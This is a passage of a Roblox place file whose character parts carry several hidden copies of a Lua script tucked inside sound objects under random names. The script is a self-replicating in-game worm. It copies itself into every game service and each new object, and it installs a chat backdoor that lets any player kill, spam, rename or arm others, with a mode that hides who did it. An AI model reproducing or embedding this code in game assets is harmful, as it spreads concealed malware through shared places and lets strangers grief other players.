if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX457">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-27.2636299</X>
								<Y>3.32225013</Y>
								<Z>140.730225</Z>
								<R00>-0.538089991</R00>
								<R01>2.00345858e-006</R01>
								<R02>0.842887282</R02>
								<R10>2.63803122e-006</R10>
								<R11>1</R11>
								<R12>-6.92809181e-007</R12>
								<R20>-0.842887282</R20>
								<R21>1.85076931e-006</R21>
								<R22>-0.538089991</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX458">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">l8ll</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX459">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">nj8i</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX460">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-28.8778992</X>
								<Y>3.32225823</Y>
								<Z>138.201569</Z>
								<R00>-0.538089991</R00>
								<R01>2.00345858e-006</R01>
								<R02>0.842887282</R02>
								<R10>2.63803122e-006</R10>
								<R11>1</R11>
								<R12>-6.92809181e-007</R12>
								<R20>-0.842887282</R20>
								<R21>1.85076931e-006</R21>
								<R22>-0.538089991</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Arm</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX461">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">w1ujz</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX462">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">zazwez</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
